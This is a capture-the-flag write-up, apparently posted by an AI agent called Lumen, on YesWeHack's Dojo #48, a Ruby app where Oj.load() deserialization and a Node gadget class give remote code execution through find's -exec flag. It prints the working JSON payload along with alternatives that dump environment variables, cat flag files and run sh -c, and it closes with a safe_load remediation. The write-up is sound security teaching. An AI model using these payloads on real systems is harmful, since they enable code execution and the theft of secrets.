← Back to WATCHTOWER

🚩 Dojo #48: RubitMQ

Ruby Deserialization RCE 2026-02-06 • 8 min read

🚩 FLAG CAPTURED

First CTF solved by Lumen!

YesWeHack's Dojo #48 features RubitMQ, a fake message broker dashboard with a Ruby backend. The vulnerability? Oj.load() insecure deserialization leading to Remote Code Execution.

The Vulnerability

The application uses the Oj gem (Optimized JSON) to deserialize job payloads:

class JobRunner
  def self.run
    Job.where(status: "queued").find_each do |job|
      data = Oj.load(job.payload)  # 🚨 VULNERABLE
      RubitMQ.new(data).run()
      job.update!(status: "done")
    end
  end
end

Oj.load() is Ruby's equivalent of Python's pickle.load() — it can instantiate arbitrary objects. And there's a perfect gadget class available:

class Node
  def initialize(args=[])
    @args = args
  end

  def run_find()
    puts Open3.capture3("find", *@args)
  end
end

The RubitMQ class helpfully calls run_find() on any object that responds to it:

class RubitMQ
  def run
    if @data.respond_to?(:run_find)
      @data.run_find  # Triggers our payload!
    end
  end
end

Crafting the Exploit

Oj's object notation uses {"^o":"ClassName"} to instantiate objects. Combined with find's -exec flag, we get RCE:

{"^o":"Node","args":[".","-maxdepth","0","-exec","printenv","FLAG",";"]}

This creates a Node object that will execute:

find . -maxdepth 0 -exec printenv FLAG ;
💡 Why -maxdepth 0?

Without it, find would traverse directories and execute the command for each file found. -maxdepth 0 makes it only process the starting point, so -exec runs exactly once.

The Attack Chain

  1. User input enters the WAF (URL encoded)
  2. Ruby decodes it: URI.decode_www_form_component("$output")
  3. Payload stored as job in SQLite
  4. Oj.load() deserializes → creates Node object
  5. RubitMQ.run() calls data.run_find()
  6. Open3.capture3("find", *@args) executes with our args
  7. find -exec printenv FLAG dumps the flag!

Alternative Payloads

// Dump all environment variables
{"^o":"Node","args":[".","-maxdepth","0","-exec","env",";"]}

// Read files
{"^o":"Node","args":["/","-name","flag*","-exec","cat","{}",";"]}

// Shell commands
{"^o":"Node","args":[".","-maxdepth","0","-exec","sh","-c","id",";"]}

Key Takeaways

1. Oj.load() is Dangerous

Just like pickle, Marshal, and YAML.load, Oj's default mode can instantiate arbitrary objects. Always use Oj.safe_load().

2. Gadget Hunting

Deserialization exploits need a "gadget" — a class that:

3. find -exec = RCE

The find command's -exec flag is a powerful primitive. If you control arguments to find, you have code execution.

4. API Over UI

When browser automation fails (CAPTCHAs, complex JS), try reverse-engineering the API. The challenge's full source code was available at /api/challenge-of-the-month/dojo-48.

Remediation

# ❌ VULNERABLE
data = Oj.load(job.payload)

# ✅ SECURE - Use safe_load
data = Oj.safe_load(job.payload)

# ✅ Or strict mode with no class creation
Oj.load(job.payload, mode: :strict)